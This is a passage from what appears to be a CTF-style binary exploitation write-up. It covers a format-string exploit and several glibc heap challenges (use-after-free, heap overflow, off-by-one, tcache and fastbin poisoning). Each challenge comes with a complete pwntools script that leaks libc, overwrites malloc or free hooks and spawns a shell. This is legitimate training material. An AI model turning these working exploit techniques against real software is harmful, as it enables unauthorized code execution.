    pay_load += str(third_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) # change the address to write
    print('payload of round3: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(third_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) # write to address
    print('payload1 of round 3: ', end=' ')
    print(pay_load1)
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(b'yes%%3$$llx|%%40$$x')
p.recvuntil(b'yes')
leak = p.recvuntil(b'|')[:-1]
leak = int(leak, 16)
print('Leak is {}'.format(hex(leak)))
libc.address = leak - 1133111
print('Libc is {}'.format(hex(libc.address)))
leak = p.recvuntil(b'\n')[:-1]
leak = int(leak, 16)
ret = leak - 0x100
print('Leak stack: {}'.format(hex(leak)))
print('Ret: {}'.format(hex(ret)))


binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

payload = b'yes%%'
ret = ret & 0xffff
payload += str(ret - 3).encode()
payload += b'd%%10$$hn'
print(payload)
p.sendline(payload)

CALL_R13 = CALL_R13 + libc.address
CALL_R13 = CALL_R13 & 0xffff
payload1 = b'yes%%'
payload1 += str(CALL_R13 - 3).encode()
payload1 += b'd%%40$$hn'
print(payload1)
p.sendline(payload1)


######################################
#           CREATE ROPCHAIN
######################################
# payload1 is the payload writing to ret to return to main
address_to_write_binsh = leak - 240
address_to_write_system = address_to_write_binsh + 8
print('Address of binsh: {}'.format(hex(address_to_write_binsh & 0xffff)))
print('Address of system: {}'.format(hex(address_to_write_system & 0xffff)))
print('binsh is at {}'.format(hex(binsh)))
print('system is at {}'.format(hex(system)))
print('Write binsh')
write_to(address_to_write_binsh, binsh, payload1)
print('Write system')
write_to(address_to_write_system, system, payload1)
write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1)




#address_to_write_binsh = leak - 248
#address_to_write_system = address_to_write_binsh + 8
#print('Address of binsh: {}'.format(hex(address_to_write_binsh & 0xffff)))
#print('Address of system: {}'.format(hex(address_to_write_system & 0xffff)))
#print('binsh is at {}'.format(hex(binsh)))
#print('system is at {}'.format(hex(system)))
#print('Write binsh')
#write_to(address_to_write_binsh, binsh, payload1)
#print('Write system')
#write_to(address_to_write_system, system, payload1)
#write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
#POP_RDI = POP_RDI + libc.address
#POP_RDI = POP_RDI & 0xffff
#payload2 = b'yes%%'
#payload2 += str(POP_RDI - 3).encode()
#payload2 += b'd%%40$$hn'
#print(payload2)
#p.sendline(payload2)

p.sendline(b'no') # ret to system

p.interactive()
```


# Heap1


The program just prompts a menu

![](https://hackmd.io/_uploads/rkpU6tMOh.png)


Decomdpiler i see that

main

![](https://hackmd.io/_uploads/Bkn-0KzOn.png)

`create_heap` function

![](https://hackmd.io/_uploads/SysHCKfd3.png)


It requests a size from user and call `malloc` to store a pointer created by another `malloc`

And store the pointer to `ptr` array

```
ptr array -> |pointer1|pointer2|pointer3|...
```
All these pointer is createb by `malloc(0x10)`

and these pointers point to return value of `malloc(size)`

```
ptr array -> |pointer1|pointer2|pointer3|...
                 \         \        \        \
                 \/        \/       \/       \/
              mem1        mem2        mem3    ...
```

The `sub_4009E8` function

![](https://hackmd.io/_uploads/ry8Meqfu2.png)


It's okay, we can only write the `PREV_SIZE` field but not `PREV_INUSE` bit


`delete_heap` function

![](https://hackmd.io/_uploads/SkQtx5fdh.png)


It gets an index from user and `free` the pointer at that index in `ptr` array and `free` where it points to

And it zeros out the array after `free`

So its okay

`cat_flag` function

![](https://hackmd.io/_uploads/rJVXZ5fu3.png)

It checks if the value at `0x6020F0` is `0`, if is then return `0`

Else if check if the value stored at where the `*(0x6020F0) + 8` point to is equal to `11259375` which is `0xabcdef` in hex
If equal then calls `sub_400916` function


![](https://hackmd.io/_uploads/ryHhZ9zd2.png)



It reads a flag file, so we have to trigger this function, to do that we pass `4` in menu but there're some conditions to be met

I see that

![](https://hackmd.io/_uploads/HyAZfczdn.png)

The `ptr` is before `0x6020F0` so we can write to it


A pointer takes 8 bytes so i need 2 `create_heap` before reach the value

But the pointer in array is a pointer to another pointer which we can controll, we can;t directly write to the pointer in array

But the function check the `*pointer + 8` and `delete_heap` just zeros out first 8 bytes, so i can craft a free chunk that has `0xabcdef` on that chunks

```
              0        8    
ptr_in_array  |pointer|.... 
                /
               /
              /
             /
            \/    0       8        16
           data   |padding|0xabcdef|
After free
              0 8
ptr_in_array  |0|...
     0 8        16
data |0|0xabcdef|...


So i call malloc again the pointer_in_array will point to old data and data points to old ptr_in_array

              0        8       16
ptr_in_array  |pointer|0xabcdef| 
                /
               /
              /
             /
            \/    0       8
           data   |padding|...
```

And call the `cat_flag`

![](https://hackmd.io/_uploads/S1idE9z_h.png)

Successfully read the flag file

Running without gdb

![](https://hackmd.io/_uploads/BkwcNqzd2.png)



Script

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/heap1/pwn1_ff')
p  = process()

#gdb.attach(p, gdbscript='b *0x4009aa')

#not important
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'2')
p.recvuntil(b'Input data:')
p.sendline(b'0')

#not important
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(b'1')


#craft a chunk that contains 0xabcdef
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(p64(0xabcdef)*2) # here we just need the ptr + 8 contains 0xabcdef and the first 8 bytes is not important

#free 
p.recvuntil(b'>\n')
p.sendline(b'2')
p.recvuntil(b'Input index:')
p.sendline(b'2')


#malloc with the same size and we get back the old chunk
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(b'1')


p.interactive()
```


# Heap2

The program prompts a menu for a heap challenge

![](https://hackmd.io/_uploads/BJQpkVrun.png)


The first choice first get an index from user then size of data

![](https://hackmd.io/_uploads/S1Y-eNB_n.png)

`shop heap` choice get an index from user then print the corresponding value


![](https://hackmd.io/_uploads/BJDIgVBuh.png)


`edit heap` change the content of a chunk

![](https://hackmd.io/_uploads/By6x-4rOn.png)

`delete` may remove the content of a chunk and `exit` ends the program

Decompile the program

![](https://hackmd.io/_uploads/HJlBZVSO3.png)

`main` is just a endless loop of menu

`createHeap`

![](https://hackmd.io/_uploads/Sy9_ZNSd3.png)

So it checks the index from user if it's `<= 10` and the `size <= 0x1000` to continue

It calls `malloc` to allocate for the data and stores the data and size in 2 array

`readStr` function is okay, there's no overflow here

![](https://hackmd.io/_uploads/HJAkMVS_n.png)

`showHeap` looks okay

![](https://hackmd.io/_uploads/BJXfG4ru2.png)

`editHeap` just changes the content of a chunk

![](https://hackmd.io/_uploads/B18NfNBu2.png)


`deleteHeap`

![](https://hackmd.io/_uploads/B1xPf4BOh.png)

The bus's here, the function does not clear the array, the value of chunk's still on the array so we can change it with `editHeap`

It's `use-after-free` vulnerability


Now to the exploit

## Leak the libc

First i try to leak the libc, to do that i use unsorted bin, the first chunk in unsorted bin point to an arena struct which is on the libc virtual address

To do this i allocate 2 chunks then free the first chunk, the second chunk to make sure that the first chunk doesn't merge with top chunk

![](https://hackmd.io/_uploads/SyRnmEB_n.png)


![](https://hackmd.io/_uploads/H1h6QEHd2.png)


We can use `showHeap` to leak that

```python=
create_heap(0, 200, b'A')
create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk
delete_heap(0)
```

![](https://hackmd.io/_uploads/SJWrVNHd3.png)

```python=
libc.address = leak - 3783544
```

![](https://hackmd.io/_uploads/B1IrVEru2.png)

![](https://hackmd.io/_uploads/SkzIVVBu3.png)



## Fastbin attack


The chunks in fastbin have `fd` and `bk` pointer, it's a doubly linked list, when remove a chunk from fastbin, the next chunk in fastbin is the `fd` pointer of the removed chunk

![](https://hackmd.io/_uploads/rJzMSNSu2.png)


We can change the content of chunk so we can fake the `fd` pointer, so the next time `malloc` will return the address we want

But there's a size check, our fake chunk must have the size in fastbin size

And `__malloc_hook` is a good address, because before it, there's already a okay size field

![](https://hackmd.io/_uploads/B1x7IESOh.png)

The fastbin check doesn't need the `ox10` align so we can write the `__malloc_hook - 35` to that


First i allocate some chunks then free them

```python=
for i in range(10):
    create_heap(i, 0x70 - 0x10, b'AAAA')
for i in range(10):
    delete_heap(i)
```

Write the `__malloc_hook - 35`

```python=
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
```

I write the last chunk because the fastbin uses LIFO method

Check with gdb

![](https://hackmd.io/_uploads/By9cD4Hd2.png)

So i wrote the address to `fd` pointer

Continue and try to write to it and the program runs okay

![](https://hackmd.io/_uploads/SJy-_ESO3.png)


## One_gadget

Now we can write to `__malloc_hook` , the idea is using one_gadget

![](https://hackmd.io/_uploads/SklLOES_n.png)

Checking some condition with gdb i see that i can use `0xd95f1` gadget

Write it to `__malloc_hook`


```python=
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
pause()
create_heap(0, 0x60, b'AAAA') # remove the first chunk
create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook
```


![](https://hackmd.io/_uploads/r1p3_VHuh.png)


So now i have one_gadget at `__malloc_hook`

Continue

![](https://hackmd.io/_uploads/HkRktEB_n.png)


Running without gdb

![](https://hackmd.io/_uploads/S12etVSun.png)

Full script

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/heap2/pwn2_df')
libc = elf.libc
p = process()
gdb.attach(p)

ONE_GADGET = 0xd95f1

#def safe_linking(address, value):
#    return (value ^ (address >> 12))
def create_heap(index, size, data):
    p.recvuntil(b'>\n')
    p.sendline(b'1')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Input data:')
    p.sendline(data)
def delete_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'4')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())
def show_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
def edit_heap(index, data):
    p.recvuntil(b'>\n')
    p.sendline(b'3')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())
    print('A') # this line separates 2 read in program
    p.sendline(data)
#leak the heap
#create_heap(0, 20, b'AAAAAAAA')
#delete_heap(0)
#show_heap(0)
#p.recvuntil(b'Data = ')
#leak = p.recvline()[:-1]
#leak = leak[::-1]
#leak = int(leak.hex(), 16)
#leak = leak << 12
#heap = leak
#print('Heap: {}'.format(hex(heap)))

# leak libc
create_heap(0, 200, b'A')
create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk
delete_heap(0)
show_heap(0)
p.recvuntil(b'Data = ')
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
print('leak: {}'.format(hex(leak)))
libc.address = leak - 3783544
print('libc: {}'.format(hex(libc.address)))


delete_heap(1) # just remove the other chunk, not important

#fastbin attack
for i in range(10):
    create_heap(i, 0x70 - 0x10, b'AAAA')
for i in range(10):
    delete_heap(i)


#write the malloc hook
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
pause()
create_heap(0, 0x60, b'AAAA') # remove the first chunk
create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook

#trigger a shell
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'20')
p.interactive()
```


# Heap4

Basically the program is kinda like heap2

![](https://hackmd.io/_uploads/Bkhi0ardn.png)


But the choices work different

![](https://hackmd.io/_uploads/HJb110H_n.png)

The `main` function is simple

`createHeap` function

![](https://hackmd.io/_uploads/SytbyCBO3.png)

The difference from heap2 is that, it checks if the index is used, if is then the function returns `0`, and it uses `calloc` to allocate, `calloc` will zero out memory of chunk

`showHeap` function

![](https://hackmd.io/_uploads/By1qkABd2.png)

It's normal

`editHeap` function

![](https://hackmd.io/_uploads/BkTiyAH_h.png)


The bug's here, at `newsize`, it doesn't check bound so we can pass a bigger length to overflow the chunk

`deleteHeap` function


![](https://hackmd.io/_uploads/rywMxArO2.png)

This time it zeros out the array, so no UAF here

So now to the exploit using heap overflow

## leak the libc


Here i use unsorted bin to leak the libc

The idea is first allocating some chunks and the 2 last one having the length to be passed to unsorted bin when freed, last chunk is used to make sure the previous chunk doesn't merge with top chunk

And i overflow the first chunk with printable data to before the freed chunk

Before free

![](https://hackmd.io/_uploads/B13LWRHu3.png)

Overflow data

![](https://hackmd.io/_uploads/r1xuZ0rO3.png)

So now if i print the first chunk i get the libc

And after that i have to rebuild the heap


```python=
create_heap(1, 0x100 - 0x10, b'A')
#use another size to not reuse the freed chunks before
create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk
delete_heap(1)
edit_heap(0, 6*16, b'A'*96)
show_heap(0)
p.recvuntil(b'Data = ')
p.recv(96)
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3783544
print('libc leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))


#restore the heap, reuse the previous payload to restore
payload += p64(heap + 0x20) # fd pointer of freed chunk
payload += p64(0)
payload += p64(0) # prev_size field of chunk in unsorted bin
payload += p64(0x101) # size field
edit_heap(0,96, payload)
```

## write to malloc_hook

Here i write `__malloc_hook - 35` like before

Create 2 chunks then free the second one

Overflow fisrt chunk to write to `fd` pointer of second chunk

```python=
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
create_heap(3, 0x70 - 0x10, b'A')
create_heap(4, 0x70 - 0x10, b'B')
delete_heap(4)
edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer
```

Attach with gdb

![](https://hackmd.io/_uploads/Syy9GASOn.png)


So i have `__malloc_hook` in `fd` pointer

## one_gadget

Here, again i still use `one_gadget`

![](https://hackmd.io/_uploads/Bkz3MCSd3.png)

This time i use `0xd5bf7` gadget

![](https://hackmd.io/_uploads/BkW1QCHuh.png)

It successes

![](https://hackmd.io/_uploads/HyQxQArd2.png)


Script (the leak heap is not for the exploit, first time i tried another way to exploit but it didn't work but i'm lazy to delete that part because i have to recalculate some offsets and recode the leak libc :v)

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/heap4/pwn4_ul')
libc = elf.libc

p = process()
#gdb.attach(p)
ONE_GADGET = 0xd5bf7

def create_heap(index, size, data):
    p.recvuntil(b'>\n')
    p.sendline(b'1')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Input data:')
    p.sendline(data)
def show_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
def edit_heap(index, new_size, data):
    p.recvuntil(b'>\n')
    p.sendline(b'3')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input newsize:')
    p.sendline(str(new_size).encode())
    p.recvuntil(b'Do you want to change data (y/n)?\n')
    p.sendline(b'y')
    p.recvuntil(b'Input data:')
    p.sendline(data)
def delete_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'4')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())


#leak heap, this's not used for exploit, im too lazy to delete this adn recode the leak libc
create_heap(0, 20, b'A') #not used
create_heap(1, 20, b'A') #not used
create_heap(2, 20, b'A') #not used
delete_heap(1) #not used
delete_heap(2) #not used
edit_heap(0, 64, b'A'*64) #not used
show_heap(0) #not used
p.recvuntil(b'Data = ') #not used
p.recv(64) #not used
leak = p.recvline()[:-1] #not used
leak = leak[::-1] # not used
leak = int(leak.hex(), 16) #not used
print('heap leak: {}'.format(hex(leak))) #not used
heap = leak - 0x20 #not used
print('heap: {}'.format(hex(heap))) #not used

# restore the heap
payload = b'A'*16  #first chunk data
payload += p64(0)  #prev_size field of second chunk
payload += p64(0x21) #size field
payload += p64(0)*2 #data of second chunk
payload += p64(0) #prev_size of third chunk
payload += p64(0x21) #size field of third chunk
edit_heap(0, 60, payload)


#=====================================================
#               EXPLOIT STARTS HERE
#=====================================================
#leak the libc
create_heap(1, 0x100 - 0x10, b'A')
#use another size to not reuse the freed chunks before
create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk
delete_heap(1)
edit_heap(0, 6*16, b'A'*96)
show_heap(0)
p.recvuntil(b'Data = ')
p.recv(96)
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3783544
print('libc leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))

#restore the heap, reuse the previous payload to restore
payload += p64(heap + 0x20) # fd pointer of freed chunk
payload += p64(0)
payload += p64(0) # prev_size field of chunk in unsorted bin
payload += p64(0x101) # size field
edit_heap(0,96, payload)


# write the malloc hook
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
create_heap(3, 0x70 - 0x10, b'A')
create_heap(4, 0x70 - 0x10, b'B')
delete_heap(4)
edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer
create_heap(5, 0x70 - 0x10, b'A') # remove the first chunk in fastbin
create_heap(6, 0x70 - 0x10, b'A'*19 + p64(ONE_GADGET + libc.address)) # write to malloc_hook

#trigger calloc
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(b'7')
p.recvuntil(b'Input size:')
p.sendline(b'20')


p.interactive()


```



# Heap5

This challenge is also a heap challenge, it prompts a menu

![](https://hackmd.io/_uploads/SkclRk_On.png)


But the behind of these choice is difference

![](https://hackmd.io/_uploads/ByS7Rk_d2.png)

`main` function is normal

`createHeap` function

![](https://hackmd.io/_uploads/SkWrR1d_n.png)

It checks a few conditions and call `calloc`

It reads data using `readSTr` functions

![](https://hackmd.io/_uploads/SkxycCkOOh.png)

It reads `a2` bytes which is our `size` and put a NULL byte at after the input, this leads to `off-by-one` vulnerability

`showHeap` function

![](https://hackmd.io/_uploads/HJDg1edu3.png)

It's okay

`editHeap` function

![](https://hackmd.io/_uploads/SyzGygO_3.png)


This function require a `newsize` and if it's larger than the `size` stored in `storeSize` then the program `free` the chunk at `store[Int]` then calls `malloc` with argument is `newsize`. Notice that this function doesn't check if the `newsize < 0x1000` 

`deleteHeap` function

![](https://hackmd.io/_uploads/ryhA1luOn.png)


So it clears the array after free so no `UAF` here

Now to the exploit

## Leak the libc

Here we exploit the `off-by-one` in `readSTr` function

To leak the libc i use a chunk in unsorted bin

First i allocate 4 chunks

```python=
create_heap(0, 0x100 - 0x10, b'A')
create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk
create_heap(2, 0x100 - 0x10, b'A')
create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk
delete_heap(0) #free first chunk to get libc leak
```


So now the chunks will look like

![](https://hackmd.io/_uploads/r1kAMlO_2.png)

The idea is overflow the metadata of chunk `2` at `0x5568f702f120` using `editHeap` at chunk `1`

Change the `prev_size` field of chunk `2` into size of chunk 0 + size of chunk 1 equal `0x120` and flip the `prev_inuse` bit of chunk 2, so when free chunk `2` it will check if `prev_inuse` bit, if `0` then it merge with previous chunk calculated using `prev_size`. So our new freed chunk will be at chunk `0` but with the size is size of chunk 0 + chunk 1 + chunk 2 = `0x220`

```python=
payload = p64(0)*2 # data of chunk
payload += p64(0x120) # prev_size field
edit_heap(1, 24, payload)
delete_heap(2) #overlap the 1 index chunk
```

![](https://hackmd.io/_uploads/BJVIEguOh.png)

So now i fake the metadata of chunk `2`

Free it then i see

![](https://hackmd.io/_uploads/HyQFNgdOh.png)

A freed chunk having `0x220` size at chunk `0`, so chunk `1` is overlapped

Next, i allocate a chunk with the same size as chunk `0` so the freed chunk will split into 2, so the next freed chunk will be at `chunk 0 + 0x100` which is chunk `1`

So it's the same as `UAF` now

```python=
create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer
```

![](https://hackmd.io/_uploads/B1GBBg_Oh.png)

So the libc leak is now on the chunk `1`, we can use `showHeap` to read it

## Fastbin attack

So now we can allocate a chunk with the size that it will be put at fastbin when freed and because the the `calloc` will reuse the chunk at unsorted bin so the return address is chunk `1` which we can control

The idea is craft the `fd` pointer to point at near `__malloc_hook` then use one_gadget

```python=
create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index
delete_heap(4) #now this will be moved to fastbin
edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35))
create_heap(5, 0x60, b'A') #remove the first chunk of fastbin
```

![](https://hackmd.io/_uploads/rJ4U8l_u2.png)

So now i have one_gadget at `__malloc_hook`, but a problem is raised

I can't meet the contraints of one_gadget

I tried setting `__malloc_hook` to `system` and passing address of `/bin/sh` in `newsize` in `editHeap` function because there's no condition on that but the `newsize` is 4 bytes type so it didn't work

But then after searching some way to trigger the hook, i found that i can trigger `realloc` in `__malloc_hook` and craft the `__realloc_hook` because it's right before `__malloc_hook`

![](https://hackmd.io/_uploads/B1ZODeOu2.png)

## realloc hook

Writting the address of `realloc` doesn't meet the constraints but i have to redirect at before `realloc` check the `__realloc_hook` at `realloc + 14`


![](https://hackmd.io/_uploads/S1sM_lu_2.png)

Now it works

![](https://hackmd.io/_uploads/S11Hdludh.png)


![](https://hackmd.io/_uploads/ry8S_euO2.png)


Script

```python=
from pwn import *

elf  = context.binary = ELF('/home/kakaka/Train/exploit/heap5/pwn5_null')
libc = elf.libc

p = process()
#gdb.attach(p)
ONE_GADGET = 0x3f42a

def create_heap(index, size, data):
    p.recvuntil(b'>\n')
    p.sendline(b'1')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Input data:')
    p.sendline(data)
def show_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
def edit_heap(index, newsize, data):
    p.recvuntil(b'>\n')
    p.sendline(b'3')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input newsize:')
    p.sendline(str(newsize).encode())
    p.recvuntil(b'Do you want to change data (y/n)?\n')
    p.sendline(b'y')
    p.recvuntil(b'Input data:')
    p.sendline(data)
def delete_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'4')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())


#leak the libc
create_heap(0, 0x100 - 0x10, b'A')
create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk
create_heap(2, 0x100 - 0x10, b'A')
create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk
delete_heap(0) #free first chunk to get libc leak
pause()
payload = p64(0)*2 # data of chunk
payload += p64(0x120) # prev_size field
edit_heap(1, 24, payload)
delete_heap(2) #overlap the 1 index chunk
create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer
show_heap(1)
p.recvuntil(b'Data = ')
leak_libc = p.recvline()[:-1]
leak_libc = leak_libc[::-1]
leak_libc = int(leak_libc.hex(), 16)
libc.address = leak_libc - 3783544
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))

#write malloc_hook
print('__malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
print('__free_hook: {}'.format(hex(libc.symbols['__free_hook'])))
print('__realloc_hook: {}'.format(hex(libc.symbols['__realloc_hook'])))
create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index
delete_heap(4) #now this will be moved to fastbin
edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35))
create_heap(5, 0x60, b'A') #remove the first chunk of fastbin
create_heap(6, 0x60, b'A'*11 +p64(ONE_GADGET + libc.address) + p64(libc.symbols['realloc'] + 14))

p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(b'1')
p.recvuntil(b'Input newsize:')
p.sendline(b'1000')



p.interactive()
```



# Heap6

This is also a heap challenge


![](https://hackmd.io/_uploads/SyIF_kj_n.png)


Decompiler with ida

`main` function

![](https://hackmd.io/_uploads/r12id1ou2.png)


Just a menu

`createHeap` function

![](https://hackmd.io/_uploads/rkC2OJou3.png)


It checks the index so the maxium size in array is `10`, it calls `malloc` with a fixed size `0x80`


The `readStr` function

![](https://hackmd.io/_uploads/rkXWFJsOh.png)


There's no overflow here so it's okay

`showHeap` function

![](https://hackmd.io/_uploads/B1FfFJod2.png)


It just prints the value in heap and no format string here

`editHeap` function


![](https://hackmd.io/_uploads/BJeKNYyjuh.png)


It checks if the element of array is `NULL`, if not we can write to it

`deleteHeap` function


![](https://hackmd.io/_uploads/B1YDFJs_2.png)

The function just call `free` but not clear the element in array, so it's `UAF` bug

This program uses `libc.2.28`, it uses tcache mechanism

I allocate `3` chunks and delete the first `2` chunks

![](https://hackmd.io/_uploads/Skygqksuh.png)

As you can see it stores the freed chunks in tcache bin

Tcache bin is a linked list, the `fd` pointer of a freed chunk points to the `fd` field of next chunk in tcache bin which is user data


![](https://hackmd.io/_uploads/BJfrjyi_2.png)

![](https://hackmd.io/_uploads/SksBoJsu3.png)


And due to `UAF` bug we can fake that linked list pointing to where we want. There's no checking of `fd` pointer in `libc.2.28` and `__malloc_hook` and `__free_hook` are still available

So the exploit is faking the linked list pointing to `__free_hook`, writing `system` address to that and trigger `system('/bin/sh')` by freeing chunk contain `/bin/sh`


## leak the libc

To leak the libc, i use unsorted bin

The max size of tcache bin is `7`

>\# define TCACHE_FILL_COUNT 7

So i allocate `9` chunks, `7` chunks for filling tcache bin, `1` chunk for leaking libc, `1` chunk for not merging with top chunk



```python=
for i in range(9):
    create_heap(i, b'A')
for i in range(8):
    delete_heap(i)
```

![](https://hackmd.io/_uploads/B1uC31jOn.png)

![](https://hackmd.io/_uploads/rk1WTksdh.png)



Now print it

![](https://hackmd.io/_uploads/Sk-G6Jidh.png)


## write __free_hook

Since there's no checking in tcache,, i write the address of `__free_hook` directly to tcache bin

```python=
edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin
create_heap(0, b'AAAA') # remove the top chunk of tcache bin
create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system
```

![](https://hackmd.io/_uploads/HyaYaJiO2.png)


Now i have `__free_hook` in tcache bin

Trying write to it

![](https://hackmd.io/_uploads/rJFsT1sO3.png)


![](https://hackmd.io/_uploads/HJy3aki_3.png)

It works

Writing `system` to `__free_hook`

![](https://hackmd.io/_uploads/rynxRJsdh.png)


To trigger `system(/bin/sh)` i need to allocate a chunk that contain `/bin/sh` then free it

![](https://hackmd.io/_uploads/ry2-Cyou3.png)

![](https://hackmd.io/_uploads/SyoMCyoOn.png)

Full script

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/heap6/pwn6_hoo')
libc = elf.libc
p = process()
#gdb.attach(p)


def create_heap(index, data):
    p.recvuntil(b'>\n')
    p.sendline(b'1')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Input data:')
    p.sendline(data)
def show_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
def edit_heap(index, data):
    p.recvuntil(b'>\n')
    p.sendline(b'3')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())
    print('This print is for seperating 2 read')
    p.sendline(data)
def delete_heap(index):
    p.recvuntil(b'>\n')
    p.sendline(b'4')
    p.recvuntil(b'Input index:')
    p.sendline(str(index).encode())



for i in range(9):
    create_heap(i, b'A')
for i in range(8):
    delete_heap(i)

#leak the libc
show_heap(7) #show the libc
p.recvuntil(b'Data = ')
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3878048
print('leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))


#write free hook
print('__free_hook: {}'.format(hex(libc.symbols['__free_hook'])))
edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin
create_heap(0, b'AAAA') # remove the top chunk of tcache bin
create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system


#trigger system
create_heap(2, b'/bin/sh\x00') # parameter for system
delete_heap(2) # get a shell


p.interactive()

```


# Heap3

The program is like a trading system

![](https://hackmd.io/_uploads/HJp1alQtn.png)

![](https://hackmd.io/_uploads/H1hfTg7Yn.png)


Decompiler the program 

After renaming some variables

`main` function

```cpp=
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // [rsp+Ch] [rbp-24h]
  const char **user; // [rsp+18h] [rbp-18h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  sub_4009B6();
  sub_400AA4();
  v4 = 0;
  user = 0LL;
  while ( 1 )
  {
    puts("------------------------------------------------");
